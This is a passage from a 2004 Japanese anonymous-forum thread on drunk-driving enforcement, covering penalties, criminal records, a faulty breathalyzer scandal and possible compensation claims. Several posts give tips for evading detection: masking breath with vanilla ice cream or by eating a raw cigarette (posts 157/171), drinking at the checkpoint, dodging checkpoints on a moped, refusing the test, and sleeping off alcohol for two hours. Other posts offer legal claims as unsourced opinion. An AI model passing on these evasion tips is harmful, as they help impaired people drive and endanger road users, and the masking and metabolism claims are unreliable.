それでは「公正なものだという根拠なんて存在しない。ただ公正でない事や世論操作の意図を認めたくないだけ」と考えるのが普通だと思います。
警察等にとっては、「世論操作」というよりは「啓蒙活動」といった認識かもしれませんけどね。
まあ、これも推論に過ぎないと言ってしまえばそれまでですが(w

168 :名無しさん@お腹いっぱい。:04/01/06 21:15 ID:???
だから、スレ違いどもが!うざいって!
よそでスレ立ててやれ。

169 :名無しさん@お腹いっぱい。:04/01/06 21:34 ID:vvehn0lF
>>167
もはや、聞く耳もたずと
いうところですか
別に言い負かそうとは考えてませんし
あなたも考えておられないでしょ?
ですからここいらでにげだすとします

あと、蛇足ながら
「世論調査」の「面接法」
(正確には層化2段無作為抽出法によって選ばれた方に対する
受託業者調査員による個別面接聴取)が「疑わしい」とのことですが
総理府のHPを見る限り、世論調査の際の通常の調査手法のようです。
今回の「世論調査」のみが特別ではないようですよ
あと、世論調査業務の随意契約業者らしい
(これはこれで別の問題があるのですが)
「社団法人 新情報センター」も
ホームページを作ってそれなりに質問に答えてますよ




170 :164:04/01/06 21:44 ID:Nf4DqYbd
>>169
このまま何百レス繰返しても、多分堂堂巡りですね。
打ち切るとしましょうか。
では、お元気で。

171 :名無しさん@お腹いっぱい。:04/01/06 21:57 ID:Nf4DqYbd
では、本題に入りましょう。
>>157
>>バニラアイス
それは初めて聞きました。
あと、煙草を一本生で食べるとアルコールの匂いが消えるという話も聞いた事があります(※注・生のニコチンは毒性があるので大量に食べると危険)。

でも、本当かどうか分からないと不安でしょう。
確かめる方法としては、試しに酒を飲んだときに「バニラアイス」や「煙草」を食べてみて、市販のアルコールチェッカーで測定してみておくと安心だと思います。
あと、匂いが消えるかどうかだけなら、素面の人に呼気を嗅いでもらえば分かるでしょう。

私自身は現在酒気帯び運転はしてませんが、される方はアルコールチェッカーを購入して色々試してみる値打ちはあると思いますよ。
アルコールチェッカーは数千円程度でレーダー探知機よりも安いですし、酒気帯びはスピード違反より処分が重いですから。


172 :名無しさん@お腹いっぱい。:04/01/06 22:47 ID:Nf4DqYbd
>>168
スマソ。
見にくくなってしまったので、抽出してアンカー打っときます。

>>25-27大量の水
>>30-31大量の水とふらつき防止
>>34-35検問回避と事故防止と逃れ方
>>43-46>>51検出されなかった人達
>>48>>68飲酒事故の罰則
>>65-67奈良漬け


173 :名無しさん@お腹いっぱい。:04/01/06 22:48 ID:Nf4DqYbd
>>73検問情報のサイト
>>76-81検知拒否
>>84-86酒気帯び事故
>>110-111事故防止(110真ん中より少し上)検問回避と逃れ方総合(111後半)
>>151>>155-156捕まったらその場で飲む
>>161-162飲んでないのに・・・
>>157>>171食べたらアルコールが消える?

174 :名無しさん@お腹いっぱい。:04/01/07 13:06 ID:???
サービス残業を強要する企業名を公表するスレッド
http://school.2ch.net/test/read.cgi/shikaku/1073362351/l50

175 :名無しさん@お腹いっぱい。:04/01/07 21:20 ID:???
>>1
ttp://www.texasdwi.org/multimedia/zero_0100.mpg

176 :名無しさん@お腹いっぱい。:04/01/08 00:33 ID:dGhWXH2+
酒でも飲まんと女口説いてドライヴもようせんです

177 :名無しさん@お腹いっぱい。:04/01/08 23:45 ID:???
免取りになると前科つきますか?

178 :名無しさん@お腹いっぱい。:04/01/09 01:07 ID:r5viOVBC
>>177
免取に到る経緯によります。
例え免取でも、青切符の累積だと前科が全くつかない場合もあり得ます。

前科は刑事処分につくのものなので、行政処分(免停・免取)とは関係ありません。
原則として「青切符=前科無し」「赤切符=前科有り」です。
酒気帯び、飲酒、速度違反(一般30km以上、高速40km以上)は赤切符です。
速度違反(一般30km未満、高速40km未満)、駐禁、その他バスレーンや追越し禁止などは全て青切符です。

但し、青切符でも裁判に持込んで起訴された場合は前科になりますし(無罪ならなりませんが)、逆に赤切符でも略式起訴を拒否して不起訴になると前科はつきません。


179 :名無しさん@お腹いっぱい。:04/01/13 06:57 ID:5YWxzS2K
どれくらいの量を飲んで運転したら酒気帯びになるの?

180 :名無しさん@お腹いっぱい。:04/01/13 12:40 ID:???
>>179
ビールをコップ1杯飲んだらアウト。

181 :名無しさん@お腹いっぱい。:04/01/13 18:38 ID:nkgH2p2I
今まで吹かなきゃよかったんだよ、吹かなきゃな
でも、罰金高くなったしなぁ・・・

どうする?

182 :名無し@腹減った:04/01/13 21:31 ID:QaXhRutO
こんなのどう?
http://etona.hp.infoseek.co.jp/index.html

183 :名無しさん@お腹いっぱい。:04/01/13 21:48 ID:MczVBvu0
ノンアルコールビールでも酒気帯び運転になりますよ

184 :名無し@腹減った:04/01/13 21:53 ID:QaXhRutO
なんで?

185 :名無し@腹減った:04/01/13 21:59 ID:QaXhRutO
早く早く教えて!!!!!

186 :名無しさん@お腹いっぱい。:04/01/14 08:34 ID:4AwVEu3s
>>179
人によって違うが大瓶一本で0.15mg出る。
これは司法修習期間、検察で実習した。

187 :名無しさん@お腹いっぱい。:04/01/14 12:17 ID:W30IdPXp
ちょっと疑問が・・・
例1
ABCDの4人で飲みに行きました。で、飲んだのはAだけ。
帰りはAの運転。この時飲酒運転で捕まったのなら同乗者も同罪ですよね?
もしAB、CDが二台でつるんでいたらどうなりますか?
ABは分かるのですが、CDもやはり同罪になるのか?

例2
バイク数台でツーリング。皆で酒盛りを始めました。飲んでないのは自分だけです。
この後飲酒検問に引っ掛かったら・・・
自分も同罪になるのだろうか?

どうなんでしょう?


188 :名無しさん@お腹いっぱい。:04/01/14 21:59 ID:SMOLhvOK
>>187
両方のケース共に同罪になる確立が高い
と言うのも車もしくはバイクに乗っているのを知ってて
酒を飲ませるのは違法

その証拠に居酒屋とか飲み屋で車で来た客に酒を飲ませて
検問とか事故で検知、あとから経営者が逮捕されている事案が
実際にあるよ


189 :名無しさん@お腹いっぱい。:04/01/15 09:07 ID:???
>>188
なるほど・・・
先日友人と「どうなんだろう?」って話になったもので。
自分は飲まないんだけど気をつけないと。

190 :名無しさん@お腹いっぱい。:04/01/19 03:34 ID:B8C56vdK
>>181
検知拒否で点数引かれるの?
引かれないなら、吹かなければ点数だけでも助かるという事になるけど。

191 :名無しさん@お腹いっぱい。:04/01/19 03:57 ID:EB1StQQo
>>114
捕まったらその場で飲むというのは通用するらしい。
飲酒で捕まった方がよかったかな?と思う位説教されるらしい。
飲酒運転はしない方が良いらしい。

192 :名無しさん@お腹いっぱい。:04/01/19 05:58 ID:pwTwRwaF
酒気の数値ってどうやって表されるんですか?何%以上が引っかかるのでしょう?
チューハイ一缶とかでも引っかかるんですか??

193 :名無しさん@お腹いっぱい。:04/01/19 08:14 ID:???
>>190

飲酒拒否で逮捕されたら、令状で飲酒検査されるだろ。


194 :名無しさん@お腹いっぱい。:04/01/19 09:07 ID:???
こないだ函館で科学的根拠(呼気・血液検査)なしの酒気帯び運転を
飲酒の状況(店の証言、レシート・時刻)だけで起訴した事案があるぞ
要注目

195 :名無しさん@お腹いっぱい。:04/01/21 20:36 ID:qlwQ6CJR
>>192
ビールで出るならチューハイもダメだろ。

196 :名無しさん@お腹いっぱい。:04/01/22 11:34 ID:koffjfUU
酒気帯びは絶対できない・・・

http://www.onlyinternet.net/bmeyer/drunkdriving.htm

酒気帯び運転で、男が彼女に立ち直れなくなるほどの傷を与えてしまった出来事ですが、
俺も彼の立場だったら、精神的に永遠に立ち直れなくなる。


197 :名無しさん@お腹いっぱい。:04/01/22 12:25 ID:CEdyaYB7
ttp://www.kyoto-np.co.jp/news/flash/2004jan/22/CN2004012101004627B1W10.html

こんなんだったら検問自体怪しいな

198 :名無しさん@お腹いっぱい。:04/01/22 23:28 ID:???
検知器自体が怪しいらしいね
和歌山、兵庫、福井県警1996年以降採用のヤツ

誤作動で30マソ!

199 :名無しさん@お腹いっぱい。:04/01/23 00:08 ID:???
つーか、速度の測定器みたいに3ヶ月ごとの点検義務付けられてないのか?

200 :名無しさん@お腹いっぱい。:04/01/23 11:23 ID:???
200(σ・∀・)σゲッツ!! 

201 :名無しさん@お腹いっぱい。:04/01/23 13:48 ID:???
>>199
つーか、採用した測定器自体がスカポンだったみたいよ。
その測定器で測定され検挙された例がすでにあるらしい。
今頃大慌てで「オレのバヤイはどうだったんだ?」と張り切ってるやつ多数。

202 :名無しさん@お腹いっぱい。:04/01/23 16:33 ID:Htd4TL/w
スカポン測定機で免取になった人達訴えるだろうな。

仕事首になった人とか、再就職までの賃金と、給与が低くなったなら差額分、免許回復しても元の職場に戻れる訳じゃないから定年まで損害は発生し続ける。
何千万になる事やら。

仕事を首にならなかった人も、通勤で使ってた人は代替交通機関使用で余計な時間を費やした分の損害。
そうでない人も、何年もの間不便な思いをしてきた訳だし。
かなりの額になるだろうね。

あと、共同不法行為でメーカーを訴えるのも忘れずに。

203 :名無しさん@お腹いっぱい。:04/01/23 19:00 ID:???
漏れの県が該当しないのが口惜しい


204 :名無しさん@お腹いっぱい。:04/01/24 11:35 ID:???
レシートで数値が印刷されるタイプで計測器名まで印字されるのでさかのぼって調べることは可能
飲酒取締強化月間の12月には使用されていないから該当人数は少ないわな
警察発表では新型は8件,旧型は191件

ヤナコ計測AL-100S
http://www.yanaco.co.jp/keisoku/seihin/2.html

ホンッッットに飲んでいない香具師は否認しているだろうからまだ裁判にもなっていないだろうし、起訴
されたとしてもまだ判決には至っていないだろう
認めて罰金になってる香具師は実際飲んでいたんだろ?

205 :名無しさん@お腹いっぱい。:04/01/25 00:11 ID:QEMJrKge
>>204
>>認めて罰金になってる香具師は実際飲んでいたんだろ?

でも、裁判すれば勝てるだろ。
まあ6点で講習受けた程度で、その後1年無事故無違反なら、手間の掛かる裁判まではしないだろうけど。

>>202

免取だと、一財産できそうだね(w

206 :名無しさん@お腹いっぱい。:04/01/25 01:12 ID:???
この機械使ってまだ1年も経っていないからそんなに賠償金も上がらないでしょ
たしかに国賠モノではあるがせいぜい100万もらえればいい方だよ
これが原因で首でも吊ってりゃ別だがね

207 :名無しさん@お腹いっぱい。:04/01/25 07:05 ID:UIcHyAyA
旧型でも200件近い検挙が行われたらしいけど、そっちも1年経ってないの?

それに、免取で解雇されてたら今後も損害は発生し続けるよ。
それとも、警察が責任持って元の職場を説得して、同じ条件で復職させるかな。

208 :名無しさん@お腹いっぱい。:04/01/26 08:42 ID:???
旧型で191件新型は8件だな
検査時に飲酒していた自覚のあるやつまで救済されることはないと思うよ
酒気帯び運転は過失犯ではないしね

全く飲んでいないやつは現在でもそれこそ死に物狂いで裁判を戦っているだろう
この人達は救わなきゃウソでしょ

209 :名無しさん@お腹いっぱい。:04/01/26 10:33 ID:???
でも、酒気帯びと飲酒の境界があるから、実際飲んでたヤツも飲酒じゃなくて酒気帯びだったのでは?といい出すヨカン

210 :名無しさん@お腹いっぱい。:04/01/26 10:50 ID:???
飲酒と酒気帯びとの違いは現場の警官の判断

211 :名無しさん@お腹いっぱい。:04/01/26 22:02 ID:BASHneHa
>>208
実際飲んでても、基準値超えてないと酒気帯びにならない。
酒気帯びとはあくまで一定以上の酒気を帯びて運転する事だから、実際飲んでてもそれ以下だったら酒気帯びにあらず。
当時基準値以上の酒気を帯びてたなんて、今更どうやって立証するの???

もっとも、へべれけになってて明らかに正常な運転が出来ない状態なら飲酒で処罰出来るけどね。
その場合も「へべれけ」だった証拠が残って無いとダメだけど。

212 :名無しさん@お腹いっぱい。:04/01/26 22:05 ID:BASHneHa
(補足)
飲酒の基準値(酒気帯びよりずっと高い)を超えてたら、「へべれけ」でなくても飲酒になります。


213 :名無しさん@お腹いっぱい。:04/01/28 10:37 ID:???
ttp://www.texasdwi.org/multimedia/zero_0100.mpg
飲酒運転してた人の車に衝突された女性。
現在は、飲酒運転の危険性を訴えて全米をまわっている。

みんなも事故には気をつけようね。


214 :名無しさん@お腹いっぱい。:04/01/28 13:20 ID:???
>>212
基準値って呼気0.15mg/Lの事を言ってるのかな?
0.50とか0.8以上で物損事故おこして酒気帯び運転で逮捕されてる香具師は多い。

215 :名無しさん@お腹いっぱい。:04/01/28 20:39 ID:???
>214
酒気帯びじゃなくて酒酔いな

216 :名無しさん@お腹いっぱい。:04/01/28 21:58 ID:C+6vGRFa
酒酔いは値は全く関係無いよ
警察官が決める


217 :214:04/01/28 22:57 ID:???
>>215
0.5や0.8でも酒気帯び(酒酔いじゃねーぞ)で逮捕されてんだよ。
新聞とか読んでみろ!


218 :名無しさん@お腹いっぱい。:04/01/29 23:23 ID:???
酒気帯びで事故を起こして警察呼ぶと、運転手はどんな数値であっても酒気帯びではなく
酒酔いで立件される。
アルコールの影響で正常な運転ができなかったことを被疑者自ら証明しているからな。

219 :名無しさん@お腹いっぱい。:04/01/29 23:46 ID:???
>>218
勝手な判断するな!
ttp://response.jp/issue/2002/0605/article17386_1.html
「酒酔い運転」での立件は意外に少ないんだよ。
基準(酒気帯び基準以上の要件)が無いからな。

220 :名無しさん@お腹いっぱい。:04/01/30 00:15 ID:???
>218
(/ω\) ハジカシー

221 :名無しさん@お腹いっぱい。:04/02/01 01:22 ID:lRHm6Cir
>>197-211
スカポン測定機裁判で勝って多額の賠償金取る人が沢山出たら、誰が責任取るんだろうな。
これも税金から出るのかな。
個人的には取締りにあたった警察官に払ってもらいたいけど(w
飲んでなくても反応する機械使ってて、今まで誰も気が付かなかったなんて考えられない失態だよ。


222 :名無しさん@お腹いっぱい。:04/02/01 01:45 ID:???
っていうかホントに飲んでいないのにおとなしく罰金払った香具師なんているんか?
オレなら最高裁まで行くが・・・

223 :名無しさん@お腹いっぱい。:04/02/01 02:49 ID:???
>>1
まじ氏ね

224 :名無しさん@お腹いっぱい。:04/02/01 02:56 ID:lRHm6Cir
>>222
居ると思うよ。
忙しくて裁判なんてやってられない人とか、立場上裁判を抱えるのはマズイ人とか、金が無くて「裁判は金が掛かるよ」って言われて止む無くサインした人とか。
あと、基準値に達しない程度に飲んでた人とか、「そんなに飲んだかな〜」って怪訝に思いながらも罰金払ったんじゃないかな。

それに、実際飲んでた人でも今更立証出来ない以上、賠償請求起こされたら警察負けるでしょ。
失業した人とか半端じゃない金額になるだろうしね。
そんな払いは、全部俺達の税金から出るのかな〜って(w


225 :名無しさん@お腹いっぱい。:04/02/01 07:18 ID:???
現在酒がらみは厳しくなっているから無実の人が易々と受け入れるとは思えない

基準値に達していなかったとはいえ酒気を帯びている心当たりがあるのに運転を決行した香具師は
免取でも構わないだろ
事故を起こす前に救ってもらって感謝してもらいたい

226 :名無しさん@お腹いっぱい。:04/02/01 07:23 ID:???
国賠されて税金使われるの嫌だ。警察の共済組合から出せ!

227 :名無しさん@お腹いっぱい。:04/02/01 20:51 ID:lrDEt/3u
結局、カバチタレの方法は有効なの?
検問所でいきなり酒飲みだすの。

228 :名無しさん@お腹いっぱい。:04/02/01 21:04 ID:7b48SWkY
>>226
>>警察の共済組合から出せ!

それもいいよね。
あと、重過失が認められたら警察官個人に求償出来る筈。
給与の1/4ずつでいいから、一生かかってでも責任取って欲しいものだ。

>>225
>>基準値に達していなかったとはいえ酒気を帯びている心当たりがあるのに運転を決行した香具師は免取でも構わないだろ

そんな主張、裁判所が認める訳ないでしょ。
普段からスピードなど社会一般の常識からかけ離れた取締りばかりしてるから、警察が叩かれてもみんな内心「ザマー見ろ」って思うんじゃないかな(w


229 :名無しさん@お腹いっぱい。:04/02/01 21:56 ID:8v36Sk2I
>>227
以前有効だったのは確からしいのだが、最近の状況は分からん。
どっちにしても、エンジンは切るのが大前提。

230 :名無しさん@お腹いっぱい。:04/02/01 22:00 ID:???
何か賠償賠償ってうるさい香具師がおるが、藻前らは国家賠償法や刑事補償法を知らんのか?
冤罪被害者がもらえる金額はささいなもんだよ

刑事補償法だと
逮捕勾留されたとしても1日1,000円以上1万2,500円以下
無罪の人が死刑を執行されてしまったとしても3000万円なのよ
あとその時捜査に当たった警察官や起訴した検察官も計器が正しいと信じて職務を執行している
のでまったく責任は負わない
勾留されていなければ発生しない

あとは国家賠償だけど本当に無実で失職した人なら請求額は1000万程度で判決は200万がいいトコだろう
前にも書かれているようだけど実際に飲酒はしていた人で失職したとしても裁判所は差をつけると思う
おそらく0〜50万円ってところだろうね

231 :名無しさん@お腹いっぱい。:04/02/01 22:17 ID:122J+Djy
>>実際に飲酒

どーやって立証するの???
先月とかなら飲み屋が覚えてるかもしれないが・・・

232 :551:04/02/01 23:05 ID:Rbimu3Cp
ありがとうございます!ちなみに私は普通車でした。
今回一般道で都内環線道路40km規制の場所でオービスを光らせた
訳なんですが、この場合やはり免取だと思いますか?
去年の1月に免停あけて半年後の話なんですが…。
詳しい方お話聞かせて下さい!

233 :名無しさん@お腹いっぱい。:04/02/02 00:29 ID:???
>>実際に飲酒
は?飲酒の場合いつどこで何をどのくらい飲んだか聞いて調書を巻くんだが・・・
飲んでもいないのに飲んだとウソを言う香具師がおりますか?

飲んだかどうかの立証の必要はない
だってこれは有罪を争う裁判ではないから
で裁判が正しく行われたかを調べるために、刑事裁判で提出された証拠は全て採用し裁判官が内容を読む
被疑者調書に何処何処で飲みましたとうたっていれば自白だわな

ちなみにまだ裁判が終わっていない香具師については公訴取消を受けての公訴棄却がなされ
逮捕・勾留以外の補償はされないよ
起訴前のやつは不起訴(嫌疑なし)でチョン

234 :名無しさん@お腹いっぱい。:04/02/02 01:56 ID:sjnmh8JM
>>230
>>請求額は1000万程度で判決は200万がいいトコだろう
>>実際に飲酒はしていた人で失職したとしても裁判所は差をつけると思う
>>おそらく0〜50万円ってところだろうね

慰謝料は確かにそんなものかもしれないが、逸失利益も請求出来るでしょ。
解雇されてすぐに職が見つかり、給与も同等以上といった場合なら、逸失利益は殆ど発生しないけどね。

>>捜査に当たった警察官や起訴した検察官も計器が正しいと信じて職務を執行しているのでまったく責任は負わない

検察官はその通りでしょうね。
触った事もない機械がスカポンだったと気が付くのは無理。
でも警察官は、日常的に使ってる機械がスカポンだと気が付かないというのは、やはり過失でしょ。
もちろんメーカーの責任も重大だけどね。


235 :名無しさん@お腹いっぱい。:04/02/02 03:14 ID:???
メーカーの責任を問う法律があったな

236 :名無しさん@お腹いっぱい。:04/02/02 04:43 ID:???
解雇された場合だと、慰謝料よりも逸失利益のほうがずっと大きくなるだろ。
こればっかりは、実損額だから実際に飲んでた人でも大きくは減らしにくいだろうし。


237 :名無しさん@お腹いっぱい。:04/02/02 23:40 ID:???
まぁクビになったのだとしたら地位確認の裁判を起こせばいいし
逸失利益も国というよりはメーカーの責任が重いだろうから、両方別々に訴えた方がいいかもね

238 :名無しさん@お腹いっぱい。:04/02/03 02:35 ID:???
>>237
地位確認の訴えを起こしても、首になって何年も経ってたら完全な原状回復は期待出来ないでしょ。
それに、解雇して何年も経ってる社員を雇うのは勤務先だって嫌がるだろうし、本人も居づらいだろうし。

国(又は都道府県)とメーカーを共同不法行為で訴えるのはいいかもしれないね。
まあ、そういった訴訟法上の詳しい問題は、該当する人は弁護士と相談した方がいいと思う。


239 :名無しさん@お腹いっぱい。:04/02/03 23:57 ID:WKgqa0jC
それにしても、スカポン測定機に何年も気がつかなかった警察って・・・(w

240 :名無しさん@お腹いっぱい。:04/02/04 01:06 ID:HdrGhSXQ
特殊な状況に限ってスカポンだったんじゃないの?

241 :名無しさん@お腹いっぱい。:04/02/04 06:10 ID:???
つか今まで100%反応していたのか?
だったらいくらなんでも気付くよなぁ・・・

飲酒取り締まりはほぼ夜だよな
水蒸気が関係していたらしいから寒い夜だけ誤作動していたのかもね

242 :名無しさん@お腹いっぱい。:04/02/04 08:07 ID:???
結露するような状況で誤作動してたんだよね。

243 :名無しさん@お腹いっぱい。:04/02/05 08:55 ID:???
すると、夏場に捕まった場合は訴えても無駄なの?

244 :名無しさん@お腹いっぱい。:04/02/05 09:33 ID:???
無駄かどうかは分からんけど、今頃メーカーは誤作動を起こす条件を細かく詰めてるだろうしね。

245 :名無しさん@お腹いっぱい。:04/02/05 09:38 ID:???
ついでにだけど、酒気帯びっていうのは数値が出なくても状況証拠だけで検挙できるから、素直に酒気帯びを認めて略式裁判を受けてしまった場合はノーチャンス。調書などで「飲んでない」と争った形跡があればチャンスはあるでしょ。


246 :名無しさん@お腹いっぱい。:04/02/05 10:09 ID:???
>245
何度も書かれているが俺もそう思う

247 :名無しさん@お腹いっぱい。:04/02/05 16:47 ID:???
>>245
検挙できても起訴出来ないのでは?
それでまかり通るなら数値なんて有って無きが如しという事になるのだが。

いずれにしても、処分取り消しの手続き開始したという事は警察が非を認めてるのだから、請求すれば損害賠償も取れるはずだよ。
再審が認められて賠償が駄目なんて事は、いくらなんでもないでしょ。

248 :名無しさん@お腹いっぱい。:04/02/05 22:48 ID:???
>247
ひき逃げなんかでは状況証拠のみで酒気帯びになってるよ。

249 :名無しさん@お腹いっぱい。:04/02/06 08:48 ID:???
数値はあくまでも1つの証拠に過ぎない
無論これが客観的には最良の証拠ではあるが・・・
ではそれがないと有罪を立証できないかというとそうでもないよ
物証のない事件はいくらでもあるが起訴できると踏めばいくらでも
証拠を集めてくるぞ警察は

250 :名無しさん@お腹いっぱい。:04/02/06 23:59 ID:8F97lrd9
>>248
本人の自白があれば状況証拠でも可能かもね。
でも今回の場合、当時の自白があったとしても、スカポンの測定結果を、いかにも正しい測定結果かの如く突きつけられて行った自白だからな〜。

>>249
でも、少なくとも数ヶ月、殆どは数年前の事件でしょ。
しかも、当時は測定器がスカポンなんて想像してなかったみたいだから、測定結果を証拠として使える事を前提とした捜査しかしてなかった訳だしね。
今更証拠集めるっていっても・・・。


251 :名無しさん@お腹いっぱい。:04/02/07 00:56 ID:K6GFdB58
マッチ咥えてろバカドモ!

252 :名無しさん@お腹いっぱい。:04/02/07 01:51 ID:???
飲んだ飲んでないの話ならともかく、観念して白状しても実際飲んだ以上の量を申告する香具師はいない

飲酒量と飲酒開始時刻から取締り当時の血中アルコール濃度を計算する式があるんだよ
日本でも海外でも研究されていて、かなり正確な数字が出る
ボーダーすれすれの香具師は裁判官の裁量になるが、はるかにオーバーする香具師まで勘弁することは
ないと思うよ

あとは>245の言うとおりだと思う

253 :名無しさん@お腹いっぱい。:04/02/08 15:14 ID:???
飲酒運転事故により体中にやけどを負った女性の画像
http://rain.prohosting.com/queline/Dont_drink_&_drive.htm


254 :名無しさん@お腹いっぱい。:04/02/08 19:08 ID:utMJupS2
↑ほかのすれでみたよ

255 :名無しさん@お腹いっぱい。:04/02/08 23:46 ID:???
>>1
http://www.f-moon.com/~macha/cgi-bin/imgboard/img-box/img20040207202518.jpg

256 :たたた:04/02/10 13:19 ID:2ESUsAcq
先月 酒を飲んで 車を運転していて おまわりさんに止められ
交番につれてかれ 検知器を したのですが!検査の前に
必ずうがいをさせるという 義務があると聴いたのですが?
どなたか詳しい人いませんか?

257 :名無しさん@お腹いっぱい。:04/02/10 15:07 ID:???
>>256
義務付けられている訳ではないが要求はできる罠。

258 :名無しさん@お腹いっぱい。:04/02/10 15:34 ID:y3yn4zRe
義務ずけられてるだけなの?まじで?

259 :原付:04/02/10 18:39 ID:???
酒気帯で6点引かれて30万以下の罰金払わないといけないって言われたんですけど原付の酒気帯はいくらぐらい払わないといけないんですか

260 :名無しさん@お腹いっぱい。:04/02/10 18:58 ID:y3yn4zRe
いろんなケースによるらしいが 15〜20万がだとうみたいだよ!

261 :原付:04/02/10 19:23 ID:???
ありがとう!25万以上はらわないといけなかったらどうしようかと思っていました!はらう時はやっぱりいっかつ払いなんでしょうか?

262 :名無しさん@お腹いっぱい。:04/02/10 23:18 ID:???
一括のみ

263 :名無しさん@お腹いっぱい。:04/02/10 23:24 ID:???
たった今居酒屋の前で捕まった
生中一杯で0.20ミリ
フザケンナ!!!!!!!!!!!!!!!!!!!!!!!!!!!

264 :名無しさん@お腹いっぱい。:04/02/10 23:40 ID:???
>>263
http://www.f-moon.com/~macha/cgi-bin/imgboard/img-box/img20040207202518.jpg

265 :名無しさん@お腹いっぱい。:04/02/10 23:54 ID:y3yn4zRe
264-waro ta

266 :名無しさん@お腹いっぱい。:04/02/11 07:30 ID:???
飲酒後1時間で呼気に換算して0.15ミリずつほど落ちていくらしい
2時間ほど車の中で寝ていけばいい

267 :名無しさん@お腹いっぱい。:04/02/11 13:34 ID:???
>266
そんな単純にいくわけないだろ。
個人差めちゃめちゃでかいんだから。

268 :名無しさん@お腹いっぱい。:04/02/11 15:29 ID:???
車か原チャで酒気帯で捕まったら罰金の差はあるの?30万以下でも10万ぐらいですむ事はある?

269 :名無しさん@お腹いっぱい。:04/02/11 18:41 ID:???
>267
めちゃめちゃって・・・そんなに差はない
そのまま運転するより100倍はマシだと思うが

>268
原付は初犯10万

270 :名無しさん@お腹いっぱい。:04/02/11 19:54 ID:???
初犯って初めて酒気帯で捕まって10万なんですか?前に二段かい右折で2回捕まった事があるんですけど、今回酒気帯は初めてですやっぱり20万以上いくんですか?詳しい人がいたら教えてください!お願いします

271 :名無しさん@お腹いっぱい。:04/02/11 23:38 ID:???
バカかおまえ
2段階右折ごときで前科に数えていたら日本国民の8割が前科持ちになるぞ
酒気帯び運転の前科があるかどうかだ

だいたい原付で酒気帯びなんて普通捕まらんだろ
検問なんていくらでも回避できるし

272 :名無しさん@お腹いっぱい。:04/02/11 23:49 ID:AS28uufe
http://www.geocities.jp/ukai516/index0.htm

273 :名無しさん@お腹いっぱい。:04/02/12 00:10 ID:???
じゃあ酒気帯の前科がなければ講習うけて罰金10万ぐらい払えばすむ事ですか?何度も聞いてすいません

274 :名無しさん@お腹いっぱい。:04/02/12 00:38 ID:YUxjoPnd
256へ うがいは ぎむずけられてるぞ!
まさか しなかったのか?あばれたか?

275 :名無しさん@お腹いっぱい。:04/02/12 01:44 ID:???
>273
ちょっと待て!お前ホントーに免許持っているんだろうな?
原付のみ?

心配なのはわかるがもう少し自分で調べたら?
http://rules.rjq.jp/

はっきり断言されないと心配で夜も眠れないの?
だったら酒気帯び運転なんてしないこった

276 :名無しさん@お腹いっぱい。:04/02/12 02:13 ID:???
車の免許もってます!ただ原付で酒気帯でつかまったらどうなるかっていうのが知りたくて

277 :名無しさん@お腹いっぱい。:04/02/12 05:10 ID:Ty+gY6Lj
>>270
二段階右折は一年以上前なの?
罰金とは違うが、一年以内だと酒気帯び(0.25以上)と合算で免取になるよ。
酒気帯びが6点(0.15-0.25)だったら免取にはならないけど。


278 :名無しさん@お腹いっぱい。:04/02/12 05:34 ID:TmusLh8S
昨日の夜キャバクラで馬鹿みたいに呑み 店の前に路駐してた車に公僕の犬共が張っていて車ドア開けたら来やがった!弁当持ってる俺としては非常にマズイ!
計らせろと言われたんで無視したら 公務執行妨害とヌかすから 居直りエンジンかけずにロックして爆睡!目覚めたら駐禁張られてた!もちブッチ!楽勝!

279 :名無しさん@お腹いっぱい。:04/02/12 09:50 ID:???
>278
寝てるうちに写真とか撮られてるヨカン。
駐禁ブッチでも弁当もちなら逮捕状すぐでるかもね〜
早朝のピンポーンにはお気をつけ下さい。

280 :名無しさん@お腹いっぱい。:04/02/12 13:52 ID:fVcoXcKh
検挙より犯罪が起こらない街造りだろ?
検挙数が昇進の対象となるから可笑しいんだろ

281 :おまわりさんの味方:04/02/13 01:55 ID:zqBuzt/u
犯罪が起こらない町は「国歌管理社会」です。
「わが国は犯罪が無い」と宣言すればいいのです。
犯罪を起こす自由がある今の素晴らしい日本ですが
傍観者ばかりだと、本当に犯罪大国になるでしょう。
(成りかけているが)

282 :名無しさん@お腹いっぱい。:04/02/13 15:27 ID:FlDLj30T
>>279
青切符で写真撮影はNGでしょ。

どっちにしても、酒気帯びが駐禁になったのだから儲け物だが。

283 :名無しさん@お腹いっぱい。:04/02/13 18:03 ID:rsUcfL20
>青切符で写真撮影はNGでしょ。

なんで?



284 :名無しさん@お腹いっぱい。:04/02/13 22:42 ID:hKxJZWyn
>>283
実際、オービスで捕まるのは赤切符の違反だけでしょ。

理由は、恐らく次の通りだと思われる。
判例では、「現に犯罪行為が行われて」「緊急に証拠保全が必要」な場合に限り、公権力が私人に対する無断写真撮影を行っても肖像権の侵害にはならないとの事。
青切符の場合、本人が交通反則金制度を拒否しない限り刑法犯としての扱いにはならない。
従って、「現に犯罪行為が行われて」いる場合には該当しないという解釈ではなかろうか。


285 :rかよ:04/02/13 23:03 ID:8pFm0wno
http://www.geocities.co.jp/WallStreet-Euro/2757/

286 :rかよ:04/02/13 23:03 ID:8pFm0wno
http://www.geocities.co.jp/WallStreet-Euro/2757/

287 :名無しさん@お腹いっぱい。:04/02/15 01:42 ID:EoKkCrQG
じゃあ、おいらの営業車が駐禁中に証拠だということで写真とられたっていうのは
どうなんの?
車は関係ない?
ちなみおいらも、去年しこたま酒飲んで帰宅中にパトに止められて、フーしたけど
ほとんどでなかった。あいつらのくやしそうな顔ときたら・・・。
冷や汗もんでした。

288 :名無しさん@お腹いっぱい。:04/02/15 03:05 ID:2bxgmXN0
>>287
>>車は関係ない?

多分そうじゃないかな。
判例(最高裁61.2.14)は「・・・運転者の容貌の写真撮影は・・・」ってなってるから。
でも、運転者を特定できないとどっちみち証拠には出来ないですよね。

行政制裁金制度がスタートしたら、運転者が特定されなくても制裁金課されるのかな。
でも、点数はどうなるんだろう。
所有者に課すとしても、所有者が免許持ってない場合とか、法人名義の車とかの場合点数課しようがないし。


289 :名無しさん@お腹いっぱい。:04/02/15 03:18 ID:???
>288
つまり所有者には当時の運転者を特定する義務が発生するってことよ。
特定できなかったら、所有者を処罰しまっせっていう脅しなわけだな。
現実的に、免許持っていないやつが車持っていたら通常使用しているのは誰だ?って話になるし
名義が法人なら、当時運転してたやちは特定できるだろう?ってこと

290 :名無しさん@お腹いっぱい。:04/02/15 16:34 ID:qh+iXxU5
>>289
なるほど。
でも、

>>免許持っていないやつが車持っていたら通常使用しているのは誰だ?
例えば相続対策で子供(18歳未満)の名義にしておいた車を両親が共同で利用して、どっち(父か母か)が運転してたか立証出来なかったらどうなるんだろう?

>>名義が法人なら
例えば3人で使いまわしている車で、当時誰が運転していたか不明だったら?

